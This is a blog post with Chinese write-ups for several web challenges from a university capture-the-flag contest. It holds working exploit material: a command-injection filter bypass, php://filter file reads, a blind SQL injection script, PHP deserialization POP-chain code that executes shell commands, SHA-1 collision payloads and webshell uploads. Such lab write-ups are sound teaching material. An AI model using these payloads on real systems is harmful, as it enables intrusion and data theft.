第二届信安大挑战部分题解

  • upload&include:
  • easy_rce:
  • easy_unser:
  • shop2.0:
  • upload_zip:
  • family_md5:
  • fake_news:
  • final_unser: PHP反序列化POP构造
  • final rce

这是成理的新生赛题
由于某种原因,我只上传了这些我筛选后的(要么不会要么太简单,大部分是我不会哈哈)上传的题解

upload&include:

观看源码发现有一个?file=flag.php,尝试传参

这里文件上传已经写死了,但有个文件包含点include($F),所以就直接包含我们上传的那个图片马,然后达到getshell的目的

这里的原理是,当一个文件被包含时,它里面的代码会当做PHP代码执行

上蚁剑连接,查看根目录的flag文件(一般来说,flag都是放在根目录下的)

当然这道题其实有更简单的做法,就是只利用文件包含的php://filter读取根目录的的文件,payload如下


?file=php://filter/read=convert.base64-encode/resource=../../../flag

easy_rce:

命令注入绕过,这里推荐一个在线工具,用来解析preg_match

这里的过滤涉及到了 ; / 空格 一些关键词

分号可以用换行符绕过,空格我这里用的%09(tab的URL编码),关键词直接在中间插入两个单引号或者双引号就行了,这里主要是怎么绕过’/‘目录符,根据官方给出的提示,

切换目录的相对路径有cd …(返回上层目录)

cd ~(切换到主目录),因此构造出payload

127.0.0.1%0acd%09..%0acd%09..%0acd%09..%0aca''t%09*

easy_unser:

一道PHP反序列化题,没有链子,直接修改filename变量的值就行了

这里主要的考点是这么访问根目录的flag,由上面的题我们已经知道了切换目录的指令…,所以构造出的exp为

payload如下

?usr=O:8:"ReadFile":1:{s:8:"filename";s:13:"../../../flag";}

shop2.0:

这是道时间盲注的题,但是我第一次做的时候在爆出了表名和列名之后爆字段就爆不出来,我都有点怀疑这个题的环境有问题了,但是毕竟还是有几个人做出来就说明没有问题,所以后来我重新做了一次,这里我用的burp的爆破模板进行的盲注

首先fuzz一下看哪些被过滤掉了

绕过了简单的union select 空格 等一些不痛不痒的过滤,可以轻松绕过,但是在实际操作的时候不知道为什么用burp就是爆不出字段名

这里我就贴出个官方的脚本

import requests
url = 'http://f2ff3dfe-0442-450f-8d96-7d001b3b2bd7.node.dino209.cn/login.php'
payload = 'select(table_name)from(information_schema.tables)where(table_schema=database())'
flag = ''
for i in range(1, 50):flag_length = len(flag)for j in range(32, 128):data = {'login': '','username': 'admin','password': "admin'/**/and/**/if(ascii(substr(({}),{},1))={},1,0)#".format(payload, i, j)}res = requests.post(url, data)if 'admin' in res:flag = flag+chr(j)print(flag)breakif len(flag) == flag_length:break
print(flag)

upload_zip:

查看提示说文件上传的路径为uploads,要使用phar协议,phar协议类似于zip,可以查看压缩包

php:// — 访问各个输入/输出流(I/O streams)
file:// — 访问本地文件系统
phar:// — PHP 归档
zlib:// — 压缩流
data:// — 数据(RFC 2397)
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

先用php://filter协议查看一下源码

?file=php://filter/convert.base64-encode/resource=index.php

我们先将一个写有一句话木马的php文件压缩,然后再将压缩包的后缀名改为图片的格式,比如说jpg或者gif

family_md5:

一道md5绕过的大杂烩题,套娃加MD5碰撞

我们从头开始看,首先post两个参数aa和bb,要让他们不相等,且他们的MD5值要想等,而且这里是弱比较,所以可以直接用数组绕过就行了

aa[]=1&bb[]=2

然后再往下看,变量a不等于变量b且变量b双重md5加密的值弱比较等于0,这里有两种方法,一是直接用数组,因为数组不管md5加密几次他的值依然是null

还有一种方法就是直接找两次md5加密后的结果为“以0e开头后面全跟数字的特殊值”

a[]=1&b[]=2

爆出了一个值,带进试一试

回显no!!!说明成功了,那继续看最后一个点

首先有两个变量string_1和2,分别用str1和str2传参,str1的参数不能是纯数字,str1和str的md5值不相等,接着有个strtr函数将两个md5值重新进行了构造,即修改,这个修改的规则就是把md5值中的所有c换成0,x换成1,h换成2,p换成3,所以我们就要爆破出一个字符的md5值以ce开头的后面全为数字的字符串,而且还有三个字母数字替换规则,这就又加大了爆破的范围,即md5值以ce开头后面全为[0-9]或者xhp这三个字母,这里我就不爆破了,我直接用别人爆破好的,因为这是一道原题

$str1 = s214587387a

$str2 = 2120624

OK,成功绕过

fake_news:

打开一看是PHP8.1.0-dev的版本,去网上搜索一下发现这个版本之前存在漏洞,被某人植入过后门,详情请见下面文章

https://blog.csdn.net/m0_48520508/article/details/117957712?spm=1001.2014.3001.5501

final_unser: PHP反序列化POP构造

查看源码是一道pop链的题

先找一下这个链子的终点在哪里,很显然在DIno这个对象里面有一个eval的函数,在往前推,这个eval函数在getflag()这个方法里面,很显然紧接着这个invoke魔术函数里面就引用了getflag()这个方法,那么invoke又怎么往前跳呢,我们要找到他的上一个点,就需要了解魔术方法的调用方法

__invoke():

__invoke:当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用,而调用函数的方式就是在后面加上(),当我们看到像return $function();这种语句时,就应该意识到后面可能会调用__invoke(),下图是直接在对象后面加()调用

需要注意的是,这个魔术方法只在PHP 5.3.0 及以上版本有效

知道了invoke函数的调用方法之后,我们就看哪个方法里面存在调用函数,可以看到W0S1对象中的__get()方法就调用了函数

这里还需要绕过一个点,就是传入的两个变量的值不相等且他们的md5和sha1加密后的值相等,立马就想到了数组绕过这一点,数组绕过不仅可以用于弱比较,也可以用于强比较,因为他们的区别就是一个是不比较数据类型,一个是要比较数据类型,而当两个变量都为数组时就不存在类型不相等的情况了,OK接着往上据需找链子,那么__get()这个魔术方法又怎么调用呢

__get()`和`__set()

__get():从不可访问的属性中读取数据,或者说是调用一个类及其父类方法中未定义属性时

__set():当给一个未定义的属性赋值时,或者修改一个不能被修改的属性时(private protected)(用的不多)

比如说看上面这个例子,echo语句调用了__toString(),然后它返回的是当前对象的a属性,但我们是没有定义a这个属性的,所以说会调用__get(),然后将返回值通过echo打印了出来

__get()的调用方法可以简单理解为,访问一个属性是访问不到,最常见的例子就是$this->属性a->属性b,很显然属性b是不可能在属性a中的,这样就会自动调用get的魔术方法,那么在这个题当中

这个toString方法中,访问了str熟悉中的source属性,这明显是访问不到的,所以就会自动调用get()方法,那么我们接着往上看,什么又能调用toString呢

__toString()

__toString()魔术方法是最为最要的,在构造pop链中它往往是很关键的一环,在很多种情况下都会被调用,主要是下面这些:

(1)echo(obj)或print(obj)打印对象时会触发 (2)反序列化对象与字符串连接时 (3)反序列化对象参与格式化字符串时 (4)反序列化对象字符串进行**==比较时(多为preg_match正则匹配**),因为php进行弱比较时会转换参数类型,相当于都转换成字符串进行比较 (5)反序列化对象参与格式化sql语句时,绑定参数时(用的少) (6)反序列化对象经过php字符串函数时,如strlen(),addslashes()时(用的少) (7)在in_array()方法中,第一个参数是 反序列化对象 ,第二个参数的数组中有tostring返回的字符串的时候tostring会被调用 (8)反序列化的对象作为class_exists()的参数的时候(用的少)

通过看它被调用的情况,不难总结出,当对象被当成了字符串的时候,__toString()就会被调用,无论是将对象打印出来,还是将对象去与字符串进行比较,它都会被调用;这里要注意的是,必须要操作的是对象的时候,才会被调用,看代码应该会清晰一些:

比如说上面这段代码,我们新建了对象a就直接打印它,照理说肯定是不会有任何回显的,因为只有字符串能被打印,对象肯定是不能被直接打印的,需要先将它序列化成字符串后才可以打印;但我们这直接打印发现它居然有输出,就是因为它按照操作字符串的方法去操作了对象,所以说调用了__toString(),然后将它的返回值输出了出来,下面再来看一个与字符串连接的例子:

也是同样的道理,变量a被当成了字符串,然后与b完成了连接

回到这道题,因为:

且这个wakeup函数调用了preg_match的正则匹配,搜索source这个属性,因为这个source属性能被我们人为控制,且在正则匹配中会被当做字符串搜索,如果我们把它改作是一个对象,那不就达到了引用toString函数的目的了吗

__wakeup()z这里已经是起点了,因为当使用unserailze函数时会自动调用wakeup函数,总结出来这条pop链就是

getflag() <= __invoke() <= __get() <= __toString() <= __wakeup()

所以构造出exp如下:

<?php
class Dino
{public $a="echo `cat /fllllllllll4444g`;";
}
class CDUT
{public $source;public function __construct(){$this->source=new T0WN();}
}
class T0WN
{public $str;public function __construct(){$this->str=new W0S1();}
}
class W0S1
{public $p;private $dino=array('a'=>1,);protected $str=array('a'=>2,);public function __construct(){$this->p=new Dino();}
}
$w=new CDUT();
echo urlencode(serialize($w));
?>

这里还存在一个正则匹配

他把括号跟单双引号都给过滤掉了,我们可以选择用反引号绕过,php有个特性,就是反引号中的代码会被当做命令执行,这个反引号的作用相当于函数exec(),当然这个是没有会回显的,所以我们要用echo把他的执行结果打印出来,所以构造出payload如下

echo `cat /fllllllllll4444g`;

final rce

审计代码,分析得出他有两个检查点

1:要o和w的值不相等,且sha1加密后数值相等,且不能用数组,我想到了正好有一组数刚好符号这个要求,至于原理是什么我也不清楚,反正拿来用就行了

payload1:

%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&

payload2:

%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

2:要传入一个变量c的值,使得2719这个元素进入数组array[++c]后就不能进入再对该数组赋值了,值就是考了一个数组溢出,只要我们找到PHP数组最大能写入多少个元素,然后再将它减去1后赋值给c就行了

https://two.github.io/2015/09/15/PHP-array-hash-key-overflow/

9223372036854775807

构造出payload如下

http://b49460bc-d02b-4215-95da-cb987a997310.node.dino209.cn/?o=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&w=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&&c=9223372036854775806

当我在进行system这些系统命令时发现他们并不回显,然后我查看了PHPinfo里面的disable_function这一栏禁用几乎所以能够执行系统命令的函数,所以就必须要采取某种方法进行绕过了,这里我就直接用的中国蚁剑的一个插件disable_function,这个插件可以之间在它的官方插件市场就能下载到,这里附上大佬的关于绕过disable_function的文章

https://blog.csdn.net/kong_free/article/details/106891179?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163712079216780264071306%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=163712079216780264071306&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-3-106891179.first_rank_v2_pc_rank_v29&utm_term=%E7%BB%95%E8%BF%87disable_functions&spm=1018.2226.3001.4187

后面还有一道非常好的题,叫[OPcache],我会单独写一篇文章去讲它

成理第二届信安大挑战web篇相关推荐

  1. 成理信安大挑战ctf 部分wp

    文章目录 第二届信安大挑战wp web real_checkin upload&include checkin_http easy_rce easy_md5 easy_unser apple官 ...

  2. 第11届极客大挑战writeup

    第11届极客大挑战writeup Web 朋友的学妹 EZwww 刘壮的黑页 Welcome EZgit 我是大黑客 ezbypass 知X堂的php教程 Re No RE no gain 我真不会写 ...

  3. EI会议论文,第二届云计算、大数据与数字经济国际学术会议最终截稿倒计时10天

    第二届云计算.大数据与数字经济国际学术会议最终截稿倒计时10天! 诚邀各专家学者投稿参会,七月共聚大连.

  4. 第十届极客大挑战——复现未解决的web和RE

    第十届极客大挑战--复现未解决的web和RE emmmm,有些题目是没做出来的,有机会复现,还有官方wp,所以看看,再记录一下 web - 性感黄阿姨,在线聊天 这道题我是真的服了,爆破name,,, ...

  5. 2011年成都信息工程学院第二季极客大挑战逆向第三题Game破文

    [文章标题]: 2011年成都信息工程学院第二季极客大挑战逆向第三题Game破文 [文章作者]: JoyChou [软件名称]: Game [软件大小]: 176KB [下载地址]: http://w ...

  6. 算力引领 数“聚”韶关——第二届中国韶关大数据创新创业大赛圆满收官

    为进一步促进数字经济领域创新创业发展,推动国家数据中心集群建设,构建大数据领域资源专业平台,促进大湾区大数据科技成果和创新创业人才转化落地,为韶关大数据领域创新型产业集群的打造.大数据科技成果和创新创 ...

  7. 第十届极客大挑战——部分web和RE的WP

    第十届极客大挑战--部分web和RE的WP 昨天刚刚搞完湖湘杯和软考,累的一批,,,,湖湘杯的wp就不写了,写写这个wp 这个好像是一个月之前就开始的,打了一个月,不断的放题,题也做了不少,,, 其他 ...

  8. 信安小白,一篇博文讲明白上传漏洞——获得shop靶机的Webshell

    实验环境:Win7 上传漏洞--获得shop靶机的Webshell 系列博文 前言 Webshell--脚本攻击工具 1. Webshell 工具举例 2. 如何获得Webshell 3. 上传检测 ...

  9. 信安小白,一篇博文讲明白数字签名

    数字签名 系列博文 案例剖析--密码算法的运用 数字签名 1.1 Hash算法--信息摘要 1.2 数字签名和Hash算法相结合 1.3 加密和数字签名结合 1.4 PGP邮件加密(举例) PGP 报 ...

  10. 信安小白,一篇博文讲明白数字证书和PKI(公钥基础设施)

    数字证书 系列博文 前言 一.数字证书 二.CA(Certification Authority)认证 2.1 CA认证信息 2.2 CA结构 2.3 一般的证书产生流程 2.4 完整流程 三.PKI ...

最新文章

  1. 牛客 - 合约数(树上启发式合并)
  2. Qt phonon多媒体框架(转)
  3. 添加多个tomcat服务目录
  4. 2022年文化潮流趋势报告
  5. R统计绘图 - 热图简化
  6. jQuery源码研究分析学习笔记-jQuery.fn.init()(五)
  7. (57)FPGA面试题-我们是否应该在敏感列表中包含组合电路的所有输入?
  8. 线上发布?华为P50将于今日开启预热:可能没有超大杯版
  9. 怎么把代码放图片里面进行注入_揭秘代码分层后的新世界
  10. vs code快捷键修改为idea快捷键
  11. Celery使用数据库代替rabbitmq
  12. hadoop配置文件还原_hadoop通过Configuration对象自定义配置文件
  13. Android Studio 4.1中的模板插件
  14. 视频教程-VB程序设计入门基础-其他
  15. Installing VMware Tools, please wait解决办法
  16. 2022版Maven教程 - 第八章 微服务架构案例
  17. 小黄鸡 php,小黄鸡simsimi接口
  18. 量化择业 银行vs券商vs公募vs私募?(行内人深度分享)
  19. 国内免费(开源)CMS系统【大全】
  20. 如何解决工业缺陷检测小样本问题

热门文章

  1. 第一个彻底解决!微信公众号数学公式排版
  2. jQuery 三级联动
  3. 前端研习录(02)——CSS内联样式、内部样式及外部样式
  4. 锁存器芯片74HC573芯片的用法,及其在实际电路中的应用
  5. JS生成uuid的四种方法
  6. 计算机网络发展的第四阶段特点,计算机网络的发展可分为哪几个阶段?每个阶段各有什么特点?...
  7. matlab正弦波用示波器测失真,请教下,自己做个正弦波信号发生器,如何测试波形的失真大小?...
  8. 介绍几款高级DAC解码芯片(整编)
  9. 树莓派遇见逻辑分析仪,看看树莓派PWM信号和UART信号!
  10. 尚学堂马士兵struts2 课堂笔记(三)